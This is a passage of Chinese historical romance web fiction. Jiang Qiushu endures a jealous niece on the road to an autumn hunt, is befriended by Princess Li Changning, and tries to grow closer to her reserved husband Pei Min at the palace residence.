“夫君,我冷。”裴秋月瞥了眼姜秋姝,拉了拉赵士远的衣袖,赵士远立刻脱下了外套,披在她身上。 “夫君,我困了。”裴秋月又朝着赵士远撒着娇,赵士远连忙让她靠在她的肩膀,只是余光瞟了姜秋姝眼,见她丝毫不在意,心头微微发涩。 “夫君,我腿酸,帮我揉揉。”不一会儿动静又起了,两人丝毫不顾马车中的其他,黏糊的靠在一起。 姜秋姝继续合目,没打算理他们。 瞧着姜秋姝这个姿态,丝毫未将他们放在眼中,裴秋月环视了车厢一周,瞧着这富贵窝,心中升腾起股子怒意。 “五叔母便是这般照看小辈的?就把我们晾这儿了?” 姜秋姝睁开双眸,不咸不淡的瞥了裴秋月眼,“茶在桌子上,有多余的杯子,糕点我也并未用箱子锁住,侄女侄女婿若是想吃,我这个当长辈的,定然不会阻拦。不过?你莫不是想要我喂你?” 姜秋姝嗓音淡淡,不以为然。 “胡说什么呢?”裴秋月瞪了她眼。 “我还以为二娘嫁了人,便如同个三岁稚童,什么都要旁人的帮助。”她唇角弧度浅浅。 “谁是稚童了!”裴秋月气的想要起身,被赵士远给拉住了。 裴秋月不悦的看着赵士远。 赵士远解释道:“车外有许多的侍卫,后面还有旁家的马车,若是这里闹起了动静,会叫人觉得定国公府不睦。” 裴秋月还是觉得不解气,甚至隐隐觉得他是在维护姜秋姝。 她推开了赵士远的手,坐正了身子,“听闻,此次秋狩五叔本不想带五叔母的,也是太夫人好生劝慰,五叔才决定带上你,便说上回五叔外出巡查,同行的几位大人谁未曾带自家夫人?也就五叔是个严正端肃的。” 裴秋月再次扫视马车上的配饰,心中竟有些妒忌。 她国公府嫡出孙辈,什么好的没见过,这马车虽然瞧着低调,可里面的配饰,可是价值不菲,坐垫用的是雪狐皮,乃是北地的贡品,一年不过十几张,竟然用来给姜秋姝做垫子。面前的这盏装糕点的托盘,乃是一块品质上佳的琉璃,抬头车壁上的挂饰用的是金丝楠木,底下竟然坠着好几颗东珠。 最令人错愕的,便是木箱里用来打发时间的书籍,大部分都是孤本,她姜秋姝看的懂吗?! 还有许多,连她都没有过,五叔全给了姜秋姝。 裴秋月感觉更难受了,看向姜秋姝时,妒忌的话将要脱口而出,可………她忆起这些时日听到的话,若是真的,姜秋姝日后的日子,怕不会好过了! 姜秋姝也想过裴珉怎会这次将她带上,原是因此! 她面色如旧,只是嘴角弧度低了些。 “这是我的马车,我这般令人烦厌,二娘若是不喜,也有旁的选择,后方奴仆的马车应当空的很。”姜秋姝淡淡道。 裴秋月环着胳膊,自怨自艾道:“可惜了,若是郑姐姐还在,必定不会这般对我。” 郑姐姐?姜秋姝依旧面不改色,“可惜郑小娘子不在,二娘若是想的紧,可去西北寻她。” 说不定不用寻了,裴秋月忍住眼底的幸灾乐祸,“咱们便拭目以待。五叔母珍珠和鱼目眼瞎的都晓得如何选。” 姜秋姝拧眉,看得出裴秋月此话意有所指,她的心莫名不安了起来。 此后马车里都很安静,赵士远虽然一直待在裴秋月身侧,可余光一直瞥向姜秋姝的方向。 富贵养人,他一直知晓。 他们河州赵氏虽然没落了,他也曾在锦绣团里打过滚,奴仆成群,挥霍从不瞧价格,自他十岁赵氏衰败显现,家中族亲分散各地,阿耶与阿娘去世,他一人在市井打着滚儿。 本是个书生,却要抗木做重活,一双手磨得满是泡,拿起笔的那刻,生疼。 直到姜家愿意收留他,并定下了他与姜秋姝的婚事。 他瞧过她天真无邪在花团里奔跑的模样,一身低廉的布衣,梳着双鞭,可脸上的笑是真切的。 如今享尽奢华,那张脸依旧娇艳,合上双目时是那般的冷清,完全没有以前的影子。 典雅娴静,如大部分的世家夫人一般。 裴秋月靠在赵士远胳膊上,睡得熟,赵士远动了动,她的手抓住他的衣袖,让他脱离不得,赵士远小心的将她的手掰开,蹭了蹭他的衣服,眉头轻蹙,似有不悦,抓的越发紧。 赵士远烦闷靠在马车车壁上。 马车行驶了许久,人也从原先的兴奋,蜕变成了疲惫,一行人下马车休憩时,裴秋月抱怨的看着马车。 “那么多人挤在一处,怎么坐的下!”马车宽,定然坐的下,可她就是不喜姜秋姝,若是她能够主动些,去后面的马车就好了。 赵士远连忙拿来了水壶,裴秋月喝了口,神情越发的不好,比起府中引来的山泉水,这水简直不能入口。 关嬷嬷和锦绣整理下地面,铺上了垫子,扶着姜秋姝去休息,期间裴珉来过一次,瞧他们无恙,便重新回了圣人身侧。 裴珉还送来了些吃食,关嬷嬷打开后,一脸的喜色,“全是娘子爱吃呃。” 她看了看食盒,她好似也没有什么不爱吃的。 裴秋月和赵士远还在说着马车的事,话里话外都是埋怨姜秋姝的话,大致是她一点儿都不疼爱晚辈。 但,谁也没提,这个晚辈与姜秋姝其实年纪差不多。 姜秋姝嚼着裴珉送来的点心,这味道比她以往吃的要好,原本闷在马车里晕乎乎的,用了些点心,精神多了。 一侧裴秋月他们的话其实并不小声,她吃的差不多了,擦了擦手,刚要过去。 “若是不喜,便去后边儿的马车!”不知何时,李长宁出现在她们身边,一声令下叫人将裴秋月和赵士远拖到了后边儿的马车。 裴秋月和赵士远被吓了跳,想要反抗,“你们要做什么!” 李长宁不耐烦瞧他们跳梁,直接叫人堵了他们的嘴,原本还在闹腾的人瞧见李长宁的身影后立刻安静了下来。 只是裴秋月双眸瞪得老大,平乐公主怎会替姜秋姝出头,她凭什么! “你可不是这般的没脾气。”李长宁将姜秋姝邀到了她的马车中,至于裴珉的那辆马车,便是空了,也不必给裴秋月那么坐。 “殿下,我如今很好,劳烦你忧心。”姜秋姝感激道。 李长宁瞧她比起以往容颜更甚,过了一年多养尊处优的日子,肌肤比以往白嫩了不少,只是脸上的笑容,不似以往了。 “本宫还记得,云策军副将与二皇子勾结,企图陷害本宫结党营私,你曾言眼前的利益始终比不上长久的利益。本宫狠了心,将云策军上下清扫了遍,甚至将那些企图讨好本宫的官员尽数禀告了圣人。”李长宁把玩着手腕上的珠串。 “那时的姜秋姝,可不似如今般的得过且过。” 姜秋姝回忆着李长宁的话,那时她为了状告赵士远求到了李长宁身边,李长宁看着她问道:“便是本宫为你做主,你又有什么值得本宫帮的?” 她不语,只是倔强的望着李长宁,“殿下觉得呢?” 李长宁讲了个故事。 富庶之家,有嫡长女聪慧,被其父委以重任,掌一院护卫,府中人人讨好,可其二兄不喜,想要夺了嫡长女的权,联合护卫要禀告家主,嫡长女与府中人勾结,收敛了许多金银珠宝,嫡长女该如何破解? 姜秋姝抹了抹脸上的脏污,仰着头,“断尾求生,嫡长女若所做事为事实,便以亲情开道,率先陈情,依附家主表忠心。” 李长宁依旧记得那双熠熠生辉的双眸,只是如今失了光彩,她叹息道:“本宫说过,若是想要踹了裴太傅,可到本宫身边来。” 姜秋姝刚要拒绝,李长宁打断了她的话,(′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)“别急,本宫听闻郑如珠要回来了。” 开始姜秋姝并没有忆起郑如珠是谁,只是觉得如珠,如珠似玉,其家人必定是疼在骨子里。 “也就是与裴太傅定过亲的郑六娘。”李长宁继续道,“裴太傅这般年纪才娶了妻,你猜郑六娘在他心中是何分量?” 姜秋姝抬眸,手上的茶杯不由得捏紧了些。 第23章 第23章好吃吗? 裴珉的前未婚妻要回来了? 姜秋姝将杯中的茶喝的干净,转瞬间,看向李长宁时,已无任何的异样。 “多谢殿下告知。”她淡然道。 李长宁讶异的看了眼她,心中的兴味更足了,果真是她瞧上的小娘子,镇定又多谋。 “你就不怕?”李长宁意有所指道。 姜秋姝摇头,明白李长宁是何意,“殿下,我相信五郎的为人。” 即便与郑六娘定过亲,可那已经是往事,即便为了郑六娘耽搁了婚事,可裴珉既然决定与她成婚,便不会在牵扯以前的事。 这点儿上,她足够信任他。 裴珉最遵循礼法,此刻她心中竟然会是庆幸的,叫她不喜的规矩,会变成压着裴珉的枷锁。 至于裴珉心头是否还有郑六娘,不重要,一点儿也不重要,她这般想着。 李长宁看着她,双眸冷情,闪烁过迟疑,却又能一瞬间变得坚定。 所有的情绪,犹如风吹过,泛起轻微的涟漪,却能很快恢复平静。 裴珉确实不是见异思迁之人,她这样一外人都晓得,可凡事总有意外。 李长宁未曾言明,只是道:“姜娘子,你且记住,若是走投无路,本宫扫榻相迎。” 姜秋姝点头,“多谢殿下。”不过应当用不上,如今的生活,过得下去,她暂时不想改变。 “驸马,殿下有贵客,您不可擅自闯入。”马车外边儿似乎有争吵,姜秋姝瞧见原本还算和善的李长宁,面色变了。 “滚!”另外一浑厚的声音响起。 马车忽然打开,一身着铠甲约,莫二十左右的少年郎君面如沉水,“殿下,是您将裴府娘子与姑爷扔到后面马车的?” 外面儿一内侍打扮的男子,诚惶诚恐的看了李长宁眼,李长宁朝他使了个眼色,那内侍立马收回了拦住少年郎君的手。 李长宁仰起头,望向少年的眼神中讥笑,“是,驸马当如何?” 少年郎君,薛凛眸光打量了马车,落在姜秋姝身上闪过惊愕,“殿下行事太过,裴府好歹是世家之首,让他府人如何看待殿下。” “他们想如何看,便如何!”李长宁扫了眼薛凛,命人关上了车门。 薛凛静静立在外边,最后只能命人重新准备了马车,她行事恣意,还是太过意气用事。只是在临走前,面露凶光的看向方才拦住他的内侍。 内侍一直恭敬的低着头,不敢言语。 姜秋姝早就听闻,平乐公主与其驸马关系淡薄,两人分府而居,李长宁府中甚至有不少的面首。 “你也觉得我行事太过?”李长宁问道。 姜秋姝摇头,杀鸡儆猴罢了,裴秋月即便是再受宠也代表不了裴府,反倒是李长宁,皇族之人,该是威仪摄人,也是在警示着旁人,皇权为上。 只是她想不过薛凛,为了这么件小事儿,竟然会找上李长宁的麻烦。 两人还真如传言般的势如水火。 全体整顿休息时,姜秋姝便向李长宁请辞,下马车时,姜秋姝看了眼方才那内侍,比起裴珉要矮上些,可在男子间身量算高的,旁侧还有好几名与那内侍相仿的男子。 而他们都有喉结,且相貌俊美。 姜秋姝回了自己的马车。 她环顾着四周,如今也才看清了这马车里的门道,虽宽敞,但比不过李长宁的,可行动起来,竟然格外的稳当,比起公主的马车都要稳。 里面的配饰,好些她其实并不识得,可也晓得好坏。 有底蕴的世家,比起皇族还要奢华。这些奢华不在于有多外表又多华贵,更多是内隐在实处。 她想起在正明侯府,裴珉的狂悖之言,铁打的世家,流水的皇权。 如今,朝中即便有不少寒门中人,可依旧是世家握住最主要的政权,甚至隐隐敢与皇权叫嚣。 她说不上这样的好坏,世家垄断,家中藏书万卷,底蕴深厚,那些寒门子弟顶破了天,所识的东西,不过是世家指甲缝里漏出来的。 “在瞧什么?”裴珉进马车时,看着她出声的模样问道。 姜秋姝收回目光,在某一刹那,竟然想要问郑六娘的事儿,可话到嘴边又觉得没必要,她暗自摇头,将话引到正处来,“五郎晓得二娘被平乐公主惩戒的事了?” 裴珉没回答,可姜秋姝晓得这些事儿瞒不过他。不然他怎会无顾来了这辆马车。 “都是妾身没有顾好二娘,才叫她被平乐公主斥责,还赶到奴仆的马车上。”她声音轻柔姿态也随着放低,用余光瞄着裴珉的反应。 他坐在姜秋姝的身侧,原本还算宽敞的马车,一下子变得狭小,姜秋姝忍住想要往旁侧挪去的举动。 “方才送来的点心好吃吗?” “啊?” 姜秋姝没想到,裴珉竟然只是说这个,裴珉看了眼她脸上的惊愕,心头竟觉得有些不畅。 “好吃的,二娘那里,妾身已经尽量在公主面前转圜,二娘平日里在国公府骄纵惯了,叫公主瞧见不喜。”姜秋姝还是尽量将事情讲了。 即便日后,裴珉说起她不爱护晚辈,她也能为自己辩解。 “是二娘有错在先。”裴珉将点心往她面前推了推,“如今她成了婚,便不是小孩,也该经事儿。日后我会命府中人多多约束。” 姜秋姝瞧他不是来寻她的错处的,无形中呼了口气,裴珉还算是个讲理的,可偏生就是太护着裴秋月了。 若是长辈,他做的极好,做他的侄子侄女,是福事。 做夫妻?姜秋姝拿起了点心。 这点心当真是好吃的,甜而不腻,酥而不焦,她吃了好些个,可身侧的裴珉却一个都未动,她连忙将碟子往裴珉面前推了推,“五郎也吃。” 裴珉并未动,只是给自己倒了茶水,坐在一侧品了起来,余光倒是经常瞥向姜秋姝的方向。 比起用膳时的规矩,姜秋姝在裴珉身侧,已经许久未曾用的这般多,被规矩压着,叫她胃口比平日都少了不少。 这点心很小,一口可一个,便是她如何吃,也寻不着半点儿的错处。 见姜秋姝比平日用的香,裴珉脸上闪过深思,“若你喜欢,明儿我再从圣人面前要去。” “咳咳。”姜秋姝一听裴珉这话,咳嗽不止。 她还说这荒郊野岭的,怎会有这般对胃口的点心,原是圣人的。 “不必了。”姜秋姝摆手,她可不敢与圣人抢吃食。 裴珉以为她用够了,便没再提。 “五郎不在圣人身侧,可妨事儿?” 裴珉神色如常,“无碍。” 姜秋姝瞧他泰然自若,并未提起皇权时的恭敬,世家犹如扎根在地面的千年大树,随着生长根系繁荣,越长越多,繁荣昌盛。 皇权一茬又一茬,朝代更替世家屹立不倒。 皆言,此次圣人要五郎伴驾是恩宠,可定国公府并不需要这样的恩宠,定国公能推便推了,其余几房其实若是想来,亦可,不过没有必要罢了。 “平日里少于平乐公主相处。”裴珉声音忽然响起。 姜秋姝拿着点心的手一顿,原本的好胃口消了不少,换做以往她定然应下了,只是…… “为何呢五郎?妾身瞧着公主是个好相与,并无旁人说的那般的高傲。”她神色不解。 “平乐公主乃是圣人与圣后嫡女,掌云策军。以女子之身当权,已经算得上离经叛道。”裴珉拿起箱子里的孤本,翻阅起来,神思基本都放在书里。 “女子掌权,便是离经叛道?”这话姜秋姝说的极为小声,裴珉又沉浸在书中,自然没听到。 好生不公! 到行宫时,约莫未时,日头偏落,热度稍减。此处离猎场不过半日的路程,大军需整顿休息三日,才一同前往猎场狩猎。 姜秋姝跟在裴珉身后,行宫她并不熟悉,关嬷嬷和锦绣也不常出门,不过她们警醒的看着四周,不敢出错。 在公公的带领下,他们进了一间院子。 姜秋姝看着周围,眉宇轻拧出道痕迹,裴珉不动声色的走近她的身侧,“怎么?” 可此处不过一张床,其余是仆从的屋子,她总不能将裴珉赶去和他们睡吧! “只一间屋子?” 姜秋姝的忧虑,裴珉看在眼里,他故作疑惑,“怎么了?” 在府中,除了逢五,她与裴珉都是分屋而居。 “无事。”此时殿中尚有一些宫女和内侍在,她不好开口。 此事为难的又不知她一人,裴珉才应当是最不想与她挤在一处的。 “既然已经将太傅,夫人带到,奴婢便告辞了。”引路的公公拱手,只是抬头之际,在瞧见姜秋姝时愣了瞬。 洛阳曾有传言,太傅夫人貌美,不然也不会勾的出身显贵的太傅娶了她,如今一瞧方知此话无错。 他在宫中多年,伺候过不少的贵人,还未曾瞧见这般容颜的。 裴珉侧身阻挡住了公公的视线,公公连忙低头,尤其是瞧见裴珉脸色中的不悦,吓得胆战心惊。 娇花有猛虎相护,再美他也不敢看。 “五郎,这里还有旁的空房间?”姜秋姝叫侍候的人退下,只留了关嬷嬷她们。 “无。” 姜秋姝看着裴珉的人,将屋子里的装饰换了他常用的,小榻上的垫子换了新的,他坐了上去,继续瞧着那未看完的孤本。 姜秋姝也命关嬷嬷她们将屋子收拾番,然后又瞧见裴珉的人在最里面的床榻放上他的被褥和枕头。 而后她入寝常用的也被关嬷嬷她们也放了上去。 姜秋姝有些踟蹰,但转念一想不过几日罢了,便是不习惯忍忍也过去了。 可…忽然姜秋姝忆起件事来,今日是十五。 第24章 第24章全部 裴珉在一侧看着书,她也无事便坐到了另一边,院子外面不知何时,传来了嘈杂声,裴珉放下书册,眉宇轻拢。 “好生稀奇,秋水阁原是安排了朝中大臣的家眷住在此处,三妹不好好住你的秋云殿,来此作甚?”二皇子叫人拦住了要继续往里面搬运行囊的奴婢。 他摇着扇子,笑盈盈的看着李长宁。 “二皇兄,本宫要住在何处该父皇与母后做主,” 二皇子目光停留在李长宁身边的内侍上,那个常为李长宁出谋划策的白茸应当混迹其中。 要说他最厌恶的便是白茸。 “三妹将这几位也带来了,若是叫父皇发觉了,可别觉得你不务正业。”二皇子依旧笑着,像是兄妹间的小聚,和善又亲近。 这几位虽然做内侍打扮,可是和宫里的那些太监没什么相似的,分明是李长宁身边的面首假扮的。 “二哥这话说的奇怪?我这几人可不会去父皇面前晃悠,若是父皇知晓,指不定是小人告的密,对吗?二哥。”李长宁浅笑依旧,并未被二皇子的话所胁迫。 “二哥还是别挡道了,我已经禀告母后,日后便住在此处。” 二皇子听此眼神一下变了,“此处原是我瞧上的。” 来行宫本就安排好了名册,可名册之外未定下的,他们这些皇室子弟还是可以自行决断的。 秋水阁清幽,但比不上其余的宫殿繁华,只是方才瞧着李长宁一行人浩浩荡荡的往此处赶,她要住的院子旁边便是裴太傅的院子。 一路上,他又听闻李长宁似乎与太傅夫人有了交集。 他搭不上国公府这条船,自然不希望李长宁借了东风。李长宁与三皇子一母同胞,她得势自然助力三皇子。 原先就抢了他的云策军,若是再靠上裴珉,指不定在父皇面前怎么的脸呢! 可听闻李长宁得了圣后的令,二皇子更是如噎在喉,眸光的怒意,在扇子摇曳中才降下了些。 正巧此时裴珉与姜秋姝往院门口来,二皇子顿时心生一计。 “父皇曾有意你与太傅结亲,可惜,”二皇子停了瞬,接着道:“二哥知晓你不满薛凛,可你们毕竟成了夫妻,也不该带那些不三不四的来羞辱他。” 说这话时,二皇子打量着李长宁的内侍,白茸此人神出鬼没,他连其人年岁相貌皆不知,只晓得是李长宁麾下的一员大将,老谋深算,帮李长宁在父皇面前获得了不少的宠爱。 那些内侍顶着二皇子的目光,头都不敢抬,二皇子扫过最终落到了最后一人身上。 即便是跪着的,可背脊挺直,不似其他人般卑躬屈膝,甚至不似其他人般惧怕他。 二皇子将要往那个方向后去,身后裴珉和姜秋姝的脚步声近了。 原来李长宁也曾与裴珉议过亲,可裴珉不是教过李长宁,算得上师生关系? 未曾正式拜见敬茶,只是教过,算不得正经的老师。 姜秋姝这般想,便想通了。 只是裴珉年纪大了些,岂不是老牛吃嫩草? 李长宁如今十八九岁的模样,裴珉年过二十七,相差约莫十岁。 此刻,姜秋姝也彻底忽略了自己与裴珉的年纪也相差极大。 裴珉感觉到她的目光频频停留在他身侧,裴珉脸色一下子变了,像是寒冰,“两位殿下在此齐聚,可是有何要事?” 李长宁看到裴珉和姜秋姝,眉眼带着凉意落在二皇子身上,她倒是不怕什么误会,只是不喜二皇子算计与她。 “老师,师母。” “老师,师母。” 两位殿下纷纷朝着裴珉行了礼。 裴珉目光落到二皇子身上,“殿下身为兄长应当爱护弟妹,兄友弟恭为仁字根本。” 裴珉又道:“公主殿下比二殿下年幼些,也该尊敬兄长,你们二人在此处大吵大闹,将皇室的脸面往何处搁?此番来秋狩的除开宗室,还有许多朝中大臣,君若争执完全没有手足间的谦让,家若不齐,如何治国。叫朝臣如何信服,叫天下百姓如何臣服!” 李长宁神色不变,她拱手致歉,“是本宫鲁莽了,只是二皇兄此处是母后应允的,你若是想要,该提前与母后商议,而非抢了本宫的住处。” 李长宁原是不将二皇子放在眼中,可他便如同环绕着的蚊虫,时不时想要叮咬口她,叫人烦不胜烦。 二皇子见李长宁这般巧言善辩,又有裴珉压着,他道:“皇妹不必如此,我不过是与你闹着玩儿,扰了老师的清净是我们的不是。” 二皇子晓得再待下去,自己得不到什么好处,便要离开,裴珉忽然唤住了他,“殿下日后谨言慎行,我与平乐公主只有师徒之谊,旁的不过是道听途说。” 二皇子没想到这般的小事儿,裴珉竟然会解释,他本是相叫姜秋姝晓得李长宁的别有用心,进而疏远了她,若是能叫两人不睦才是意外之喜。 “本殿下从不屑说谎,老师行得正坐得端,又何惧流言。”二皇子不死心,并未改口。 裴珉蹙眉,余光瞥向姜秋姝,可瞧她神色无异,心却未松下,反而莫名有些难受。 “往后本宫便住在隔壁,老师师母若有事儿,可来寻我。”李长宁仪态万千,朝姜秋姝他们行了礼,一行人要离开,李长宁忽然停住了脚步。 “我与师母一见如故,师母若是闲暇中无事,老师忙于政务没法没法陪您,我可陪伴师母。” 姜秋姝微微颔首,既不答应也不拒绝,瞧着那群人浩浩荡荡的往隔壁的院子走去。 裴珉看着这幕,眉宇微微皱了起来,“平乐公主为人不羁,莫去打搅了她。” “妾身省的。”这是裴珉第二次提起,姜秋姝不至于傻的再次顶撞,只柔顺的应答。 好些日子的舟车劳顿,此时终于可以休息了,裴珉并未被传召,也得了半日的空闲。 两人用了午膳,裴珉便坐在院子里品茗看书,姜秋姝难得出府,想要四处逛逛,可身体劳累,也想好好休息。 午后睡了个好觉,等她醒来时,窗户正对着院子里的裴珉,她半依着床栏,裴珉低眉认真看着书卷,眼眸沉静又温和,指骨分明的手指随着翻页动作赏心悦目。 她安静的瞧着,初醒的困倦消散,虽是秋季院子里依旧有不少的花盛开,远远瞧着当真是极美的画卷。 裴珉出身世家,长身玉立俊逸非凡,能将洛阳的郎君给比下去,为人处事朗朗君子,叫人寻不着错,只不过太重规矩。 即便两人间并无感情,可就这般过下去,她不该有不满足的。 相敬如宾便是夫妻间最美的祈愿,以往便曾贪念过她不该的东西,夫妻恩爱,郎情妾意从不适合她与裴珉。 姜秋姝起身,瞧了眼床榻间不属于她的被褥和枕头,早些生子,便是她如今最想要的。 她往外走,偏巧裴珉在此刻抬头,眉眼如画,君子皎然一阵风吹过,姜秋姝拿手挡了挡风沙,披帛随之飘荡,风变大更是被吹的飘然远去。 披帛被吹的挂在树枝上,另一端悬空,约莫她垫脚便能取下。 她伸手,另一只手比她更快的抓住披帛,姜秋姝感知到热源,将要转身,脚硌在石子上,往后退了步,撞进他的怀中。 从远处看去,男子将女子揽在怀中,才子佳人就该天生一对。 关嬷嬷和锦绣瞧见这幕,抿着唇笑了起来。 姜秋姝的腰被他搂住,身体贴在一处,姜秋姝并未像平常般,迅速从他的怀中脱离出去,甚至乖巧的待在他的怀中。 她需要一个孩子,一个叫她心安定下来的孩子。 怀中娇软,柔柔弱弱仿佛他可全部掌握,腰肢纤细不过一手可握,满怀盈腻,淡淡的女儿香气扑面而来,叫他躲无可躲,阴暗的心思悄然升起,将她全部纳入,身躯交缠,掌控着她。 凉风一阵,清醒后,他谴责自己的不堪。 他恪守礼法,除开那碗不足以叫他动情的药,从未在旁处明目张胆的对她起了心思。 裴珉垂眸望着她的头顶,手下意识收紧,听到嘶的一声。 “没事儿吧?”裴珉关切的望向她,握住她的手臂,推移了他的身体,眼神上下滑动,最后落到了她的脚腕处。 “无碍。”她摇头,两人那般近,怎可能扭了脚。 只是他未免搂的太紧了些。 裴珉抓住披帛,轻轻一拉,落了下来,而后从她的腰后绕过,靠近她的耳侧,自后环住她的腰肢,一阵痒意叫她躲闪,可她的手被他抓住,披帛渐渐往上落到她的手腕处。 “多谢五郎。” 裴珉松了手,迅速的回了院里的石桌,原本端正的坐姿变了样,长腿交叠在一处。 姜秋姝揉了揉耳侧,方才他的呼吸比起平日要粗急些,打在她的耳侧,叫她发痒。 “娘子。”关嬷嬷和锦绣跑到了姜秋姝身侧,眉宇间的笑意掩盖不住。 “您与五郎可真是天生一对,羡煞旁人。”关嬷嬷从未瞧过这般登对的人,两人站在一处,便叫人移不开眼。 “胡说什么呢!”姜秋姝嗔笑,旁人所见总是不片面,她与裴珉没有过心心相印,只是如同天底下大多数寻常夫妻般。 外人所见的天生一对,又真是天生一对吗? 晚膳如往常一般,空气中传来熏香的味道,一路劳累,她鼻子似乎闻不到那些味道,用膳时只想着填饱肚子。 裴珉见她胃口佳,给她夹了许多,她皆用完了。 夜晚来的极快,她在关嬷嬷的搀扶下在院子里散步,用的多了,腹中比以往涨了些,若是早早入睡,怕会积食。 “娘子今日是逢五,多用些也无妨的。”关嬷嬷笑意真切,“老奴都怕您吃的不够多,夜间饿了。” 五郎能闹到半夜,娘子多用些,才经得住事儿。 听着关嬷嬷的打趣,姜秋姝红了耳廓。 第25章 第25章妾身帮你 姜秋姝回到房间时,裴珉早就沐浴结束,湿着发往一侧的小榻走去。 她望过去,脑中有过些许的思虑,动作更是比裴珉快了几分,拿起架子上的巾帛。 “五郎,妾身帮您。”她浅笑道,走近站到了裴珉的身后。 裴珉眼中闪过诧异,坐正身子任由她替他擦着。 擦发是个细致活儿,稍重会扯着头皮,稍轻却是在浪费时间,容易使人感染风寒,更是个亲密事儿。 身体发肤受之父母,裴珉不喜奴仆伺候,晚睡晨起间,皆不会让底下人进屋子,这些事儿都是他亲力亲为。 按理说娶了妻,该交由妻子来,可裴珉也从未让她做过,两人间并没有那般的亲密。 可若是想要得到什么,需得付出些东西。 她不奢望太多,她和裴珉已经是夫妻,不似以往那般避讳便很好。 踏出了第一步,裴珉也并未阻止,她松了口气,小心的取了缕发丝擦拭起来。 其实没想过裴珉会应下,即便这样的行为无关礼仪,不过是夫妻间该有的亲昵。 她也只是想要试探番,马车上他特意给她拿了点心,是否想要向她靠近? “五郎可重了?”她问道,从旁瞧着裴珉的侧脸,他双眸合上,隐隐瞧出享受的模样。 “尚可。” 他嗓音在喉咙滚动,低沉动听,莫名的叫她想起,幼时养的那只狸奴,每每挼弄它身上的毛,它立马四脚朝天,裸露出肚皮,咕咕作响。 姜秋姝的动作越发柔和起来。 两人身量相差大,每每瞧他,需得抬头,让人仰望,如今他居下,她站着位置一调换,好似格外的不同。 至少瞧不见裴珉的脸,她亦不必在他面前,刻意的隐藏自我。 她想着想着,脸上的恭敬姿态逐渐消失,真正恢复以往闲散的模样。 裴珉穿着白色的寝衣,居高而下领子的缝隙,随着他的呼吸起伏,姜秋姝没瞧过他这件寝衣,因为比起旁的衣裳,这件好似要宽大些。 坚硬的胸部的小点儿若影若现,往下是她从未碰触过的,只隔着衣服撞上去过的腹部。 块垒叠叠沟壑纵横,尽管藏在衣服下,可痕迹隐约,尤其他的发丝滴了些水渍在上面,姜秋姝移开视线,并未察觉到自己的脸颊泛粉。 约莫两刻钟,他的头发干的差不多,她才念念不舍的松了手。 嬷嬷收拾好浴房,重新换了水,姜秋姝便去洗漱。 姜秋姝解下外衣,又逐步解下里衣,手指绕过颈部轻轻一拉,衣服顺着往下滑。 行宫里与府中完全不同,浴房只用了屏风挡住,灯光映照在后,窈窕倩影清晰可见,裴珉捏着书册,收回了目光,耳廓泛着红。 里面水声潺潺,娇柔的身躯,再次映照在屏风处,裴珉翻阅书册的速度越发快了些,修长的手指捏着书,手背上青色的痕迹凸起。 他双腿叠在一处,方才不过寥寥一面,那道影子便印在了他脑中。 女子的美,他瞧不大出来。 以往赴宴,男子的场合美酒美人必不可少,身旁的人对着舞姬指指点点,评花哂笑。 他厌恶至极,从未觉得欲乃人之天性,只觉得淫淫靡靡,不堪入目。 只她是例外,时刻牵动他的心绪。 淅淅沥沥的水声在耳侧,裴珉端起桌上的茶壶,给自己倒了杯,已经凉了,可更好入口,他丝毫不嫌弃这茶泡的久了,失了水准,直接一饮而尽。 姜秋姝边擦着湿发,边往外走,等她坐到裴珉的对面时,视线落到了裴珉手里的书册上。 这本他不是瞧过的吗?怎还能看的津津有味? 读书人的事儿,她这个粗人不懂,便没去问。 “我帮你。”不知何时,裴珉放下了书,绕到了她身后,当秀发被撩起,他的力道不轻不重,又透露着小心谨慎,甚至是生涩。 像是从未这般的对过旁的人。 她原本略微紧张的,尤其当发丝摩擦略微带来了痒意,可忆起关嬷嬷说的话。 夫妻间本该你来我往。 她忍住想要逃离的心,安静的坐着,等裴珉终于擦好,她才松了口气,松懈下来。 “就寝吧,五郎。” 做了那么多,所谋求的很简单。 许是姜秋姝眼中的意思太过明显,裴珉有瞬失神,过后眼中升起波涛,又强硬的按下。 “就寝。” 月光下,屋子里漆黑,只是床帐缓缓落下,两道声音若影若现…… 身侧之人躺的身直,手放置在腹部,整个人规矩的很,宛若死了的模样。 姜秋姝拉了拉被褥,她缓慢往裴珉的方向移动,接着烛光能够瞧见他安详的闭上双目。 分明是逢五的日子? “五郎。”她轻声道。 “睡吧!”裴珉嗓音干哑,像是许久未曾喝过水。 姜秋姝捏着锦被,自上回深觉夫妻间,比起礼节般的你问我允,该相互用功,才能叫人感受到舒畅。 她原是不想两人间太过陌生,便想着事先酝酿下,拉近关系。 可裴珉竟然根本没有这个意思。 姜秋姝不甘心,可也放不下矜持做出主动的事儿,只是往里侧靠了靠,鼻尖香风飘过,裴珉睁眼,便对上她那双如水般的眸子。 他身体僵了僵,周身都被她的气息笼罩住,她逐渐往下,两人间距离拉近,裴珉瞳孔微缩,呼吸比方才急促了些,就在姜秋姝以为他忍不住的时候,他抓住了她的手。 “作甚?”语气急了些。 “帮五郎拢拢被子。”姜秋姝几乎是咬着牙说出这句话,“天冷,怕五郎着凉。” 姜秋姝看着他防备的模样,拉了下他的被褥,便躺了回去。 裴珉暗地长舒了口气,原本捏紧的手逐渐放开。 姜秋姝望着床顶的纱帐,神色怅然。 分明是逢五的日子,她甚至能够感受到裴珉身体的隐忍,可为何他就是不碰她,姜秋姝闭目,五味杂陈,想不通却又在下一瞬想了很多。 难道真是因为他心中之人,要回来的缘故? 姜秋姝翻了个身,背对着他。 听风殿内,二皇子看着底下站着的人,“给我将此人查清楚。”说的正是白日里在李长宁身侧瞧见的那名内侍。 他不信查不到白茸,那么大的活人,难道能够藏匿一辈子? 云策军本是他的囊中之物,大皇子母族乃户部尚书,掌天下财政,三皇子与李长宁一母同胞,占了嫡出的身份,圣后又深受圣人信赖,在朝中说得上话来,四皇子母妃原是圣后身边的人,更不用提。 他本是步好了棋局,等着李长宁跳进去,结果全被白茸给毁了! 二皇子始终咽不下这口气。 黑衣人要离开,二皇子叫住了他。 “等等,这次的事安排好了,万不可出差错。”二皇子俯身,眼角狭长,打开青色的竹扇,微微扇动着,“此事若是再不成,提头来见。” 黑衣人大气都不敢喘,俯身行礼,转眼间消失不见,原本的位置留下几滴汗渍。 姜秋姝睡得迷糊中,仿佛听见了水声,可双眸实在睁不开,又继续睡了过去。 毕竟这些日子舟车劳顿,还未曾有过好睡眠。 